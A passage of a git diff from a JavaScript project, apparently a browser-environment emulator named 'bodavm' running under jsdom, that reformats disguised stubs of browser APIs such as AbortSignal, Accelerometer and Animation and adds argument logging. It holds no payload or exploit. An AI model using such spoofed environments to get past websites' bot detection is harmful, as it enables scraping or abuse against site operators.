"abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "abort", arguments)}}); -bodavm.toolsFunc.defineProperty('AbortSignal', "timeout", {configurable:true, enumerable:true, writable:true, value:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "timeout", arguments)}}); -bodavm.toolsFunc.defineProperty('AbortSignal', "aborted", {configurable:true, enumerable:true, get:function aborted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "aborted_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "reason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "throwIfAborted", {configurable:true, enumerable:true, writable:true, value:function throwIfAborted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "throwIfAborted", arguments)}},'prototype'); +// AbortSignal对象 + +bodavm.memory.globalobj['AbortSignal'] = function AbortSignal() { + console.log_copy('AbortSignal 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AbortSignal)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortSignal'], "AbortSignal"); +bodavm.memory.globalobj['AbortSignal'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AbortSignal'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AbortSignal', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "abort", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AbortSignal', "timeout", { + configurable: true, + enumerable: true, + writable: true, + value: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "timeout", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AbortSignal', "aborted", { + configurable: true, + enumerable: true, + get: function aborted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "aborted_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "throwIfAborted", { + configurable: true, + enumerable: true, + writable: true, + value: function throwIfAborted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "throwIfAborted", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AbsoluteOrientationSensor.js b/env_xbb_lastest_jsdom/env/AbsoluteOrientationSensor.js index 7e6d1d9b..cf7bf5b8 100644 --- a/env_xbb_lastest_jsdom/env/AbsoluteOrientationSensor.js +++ b/env_xbb_lastest_jsdom/env/AbsoluteOrientationSensor.js @@ -1,5 +1,16 @@ -// AbsoluteOrientationSensor对象 -bodavm.memory.globalobj['AbsoluteOrientationSensor'] = function AbsoluteOrientationSensor(){this._boarg= new bodaobj.window.AbsoluteOrientationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbsoluteOrientationSensor'], "AbsoluteOrientationSensor"); -bodavm.memory.globalobj['AbsoluteOrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['OrientationSensor'].prototype; -bodavm.memory.globalobj['AbsoluteOrientationSensor'].__proto__=bodavm.memory.globalobj['OrientationSensor']; +// AbsoluteOrientationSensor对象 + +bodavm.memory.globalobj['AbsoluteOrientationSensor'] = function AbsoluteOrientationSensor() { + console.log_copy('AbsoluteOrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AbsoluteOrientationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbsoluteOrientationSensor'], "AbsoluteOrientationSensor"); +bodavm.memory.globalobj['AbsoluteOrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['OrientationSensor'].prototype; +bodavm.memory.globalobj['AbsoluteOrientationSensor'].__proto__ = bodavm.memory.globalobj['OrientationSensor']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AbstractRange.js b/env_xbb_lastest_jsdom/env/AbstractRange.js index 876b27b3..b8ae46be 100644 --- a/env_xbb_lastest_jsdom/env/AbstractRange.js +++ b/env_xbb_lastest_jsdom/env/AbstractRange.js @@ -1,8 +1,57 @@ -// AbstractRange对象 -bodavm.memory.globalobj['AbstractRange'] = function AbstractRange(){if (!(this instanceof AbstractRange)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbstractRange'], "AbstractRange"); -bodavm.toolsFunc.defineProperty('AbstractRange', "startContainer", {configurable:true, enumerable:true, get:function startContainer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "startOffset", {configurable:true, enumerable:true, get:function startOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "endContainer", {configurable:true, enumerable:true, get:function endContainer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "endOffset", {configurable:true, enumerable:true, get:function endOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "collapsed", {configurable:true, enumerable:true, get:function collapsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "collapsed_get", arguments)}, set:undefined},'prototype'); +// AbstractRange对象 + +bodavm.memory.globalobj['AbstractRange'] = function AbstractRange() { + console.log_copy('AbstractRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AbstractRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbstractRange'], "AbstractRange"); +bodavm.toolsFunc.defineProperty('AbstractRange', "startContainer", { + configurable: true, + enumerable: true, + get: function startContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "startOffset", { + configurable: true, + enumerable: true, + get: function startOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "endContainer", { + configurable: true, + enumerable: true, + get: function endContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "endOffset", { + configurable: true, + enumerable: true, + get: function endOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "collapsed", { + configurable: true, + enumerable: true, + get: function collapsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "collapsed_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Accelerometer.js b/env_xbb_lastest_jsdom/env/Accelerometer.js index abbadb33..076a850a 100644 --- a/env_xbb_lastest_jsdom/env/Accelerometer.js +++ b/env_xbb_lastest_jsdom/env/Accelerometer.js @@ -1,8 +1,40 @@ -// Accelerometer对象 -bodavm.memory.globalobj['Accelerometer'] = function Accelerometer(){this._boarg= new bodaobj.window.Accelerometer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Accelerometer'], "Accelerometer"); -bodavm.memory.globalobj['Accelerometer'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['Accelerometer'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('Accelerometer', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Accelerometer', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Accelerometer', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "z_get", arguments)}, set:undefined},'prototype'); +// Accelerometer对象 + +bodavm.memory.globalobj['Accelerometer'] = function Accelerometer() { + console.log_copy('Accelerometer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Accelerometer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Accelerometer'], "Accelerometer"); +bodavm.memory.globalobj['Accelerometer'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['Accelerometer'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('Accelerometer', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Accelerometer', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Accelerometer', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "z_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AnalyserNode.js b/env_xbb_lastest_jsdom/env/AnalyserNode.js index 9a4d8a98..2121d3dc 100644 --- a/env_xbb_lastest_jsdom/env/AnalyserNode.js +++ b/env_xbb_lastest_jsdom/env/AnalyserNode.js @@ -1,14 +1,99 @@ -// AnalyserNode对象 -bodavm.memory.globalobj['AnalyserNode'] = function AnalyserNode(){if (!(this instanceof AnalyserNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnalyserNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnalyserNode'], "AnalyserNode"); -bodavm.memory.globalobj['AnalyserNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AnalyserNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AnalyserNode', "fftSize", {configurable:true, enumerable:true, get:function fftSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_get", arguments)}, set:function fftSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "frequencyBinCount", {configurable:true, enumerable:true, get:function frequencyBinCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "frequencyBinCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "minDecibels", {configurable:true, enumerable:true, get:function minDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_get", arguments)}, set:function minDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "maxDecibels", {configurable:true, enumerable:true, get:function maxDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_get", arguments)}, set:function maxDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "smoothingTimeConstant", {configurable:true, enumerable:true, get:function smoothingTimeConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_get", arguments)}, set:function smoothingTimeConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteFrequencyData", {configurable:true, enumerable:true, writable:true, value:function getByteFrequencyData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteFrequencyData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteTimeDomainData", {configurable:true, enumerable:true, writable:true, value:function getByteTimeDomainData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteTimeDomainData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatFrequencyData", {configurable:true, enumerable:true, writable:true, value:function getFloatFrequencyData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatFrequencyData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatTimeDomainData", {configurable:true, enumerable:true, writable:true, value:function getFloatTimeDomainData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatTimeDomainData", arguments)}},'prototype'); +// AnalyserNode对象 + +bodavm.memory.globalobj['AnalyserNode'] = function AnalyserNode() { + console.log_copy('AnalyserNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnalyserNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnalyserNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnalyserNode'], "AnalyserNode"); +bodavm.memory.globalobj['AnalyserNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AnalyserNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AnalyserNode', "fftSize", { + configurable: true, + enumerable: true, + get: function fftSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_get", arguments); + }, + set: function fftSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "frequencyBinCount", { + configurable: true, + enumerable: true, + get: function frequencyBinCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "frequencyBinCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "minDecibels", { + configurable: true, + enumerable: true, + get: function minDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_get", arguments); + }, + set: function minDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "maxDecibels", { + configurable: true, + enumerable: true, + get: function maxDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_get", arguments); + }, + set: function maxDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "smoothingTimeConstant", { + configurable: true, + enumerable: true, + get: function smoothingTimeConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_get", arguments); + }, + set: function smoothingTimeConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteFrequencyData", { + configurable: true, + enumerable: true, + writable: true, + value: function getByteFrequencyData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteFrequencyData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteTimeDomainData", { + configurable: true, + enumerable: true, + writable: true, + value: function getByteTimeDomainData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteTimeDomainData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatFrequencyData", { + configurable: true, + enumerable: true, + writable: true, + value: function getFloatFrequencyData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatFrequencyData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatTimeDomainData", { + configurable: true, + enumerable: true, + writable: true, + value: function getFloatTimeDomainData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatTimeDomainData", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Animation.js b/env_xbb_lastest_jsdom/env/Animation.js index 5832f73a..ea1d6d6d 100644 --- a/env_xbb_lastest_jsdom/env/Animation.js +++ b/env_xbb_lastest_jsdom/env/Animation.js @@ -1,27 +1,210 @@ -// Animation对象 -bodavm.memory.globalobj['Animation'] = function Animation(){this._boarg= new bodaobj.window.Animation();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Animation'], "Animation"); -bodavm.memory.globalobj['Animation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Animation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Animation', "effect", {configurable:true, enumerable:true, get:function effect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_get", arguments)}, set:function effect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_get", arguments)}, set:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_get", arguments)}, set:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_get", arguments)}, set:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "playState", {configurable:true, enumerable:true, get:function playState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "pending", {configurable:true, enumerable:true, get:function pending (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pending_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "onfinish", {configurable:true, enumerable:true, get:function onfinish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_get", arguments)}, set:function onfinish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "cancel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pause", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "play", {configurable:true, enumerable:true, writable:true, value:function play (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "play", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "reverse", {configurable:true, enumerable:true, writable:true, value:function reverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "reverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "updatePlaybackRate", {configurable:true, enumerable:true, writable:true, value:function updatePlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "updatePlaybackRate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "timeline", {configurable:true, enumerable:true, get:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_get", arguments)}, set:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "replaceState", {configurable:true, enumerable:true, get:function replaceState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "replaceState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "onremove", {configurable:true, enumerable:true, get:function onremove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_get", arguments)}, set:function onremove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finished_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "commitStyles", {configurable:true, enumerable:true, writable:true, value:function commitStyles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "commitStyles", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "persist", {configurable:true, enumerable:true, writable:true, value:function persist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "persist", arguments)}},'prototype'); +// Animation对象 + +bodavm.memory.globalobj['Animation'] = function Animation() { + console.log_copy('Animation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Animation(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Animation'], "Animation"); +bodavm.memory.globalobj['Animation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Animation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Animation', "effect", { + configurable: true, + enumerable: true, + get: function effect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_get", arguments); + }, + set: function effect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_get", arguments); + }, + set: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_get", arguments); + }, + set: function currentTime() { + return bodavm.toolsFunc.dispatch(this, 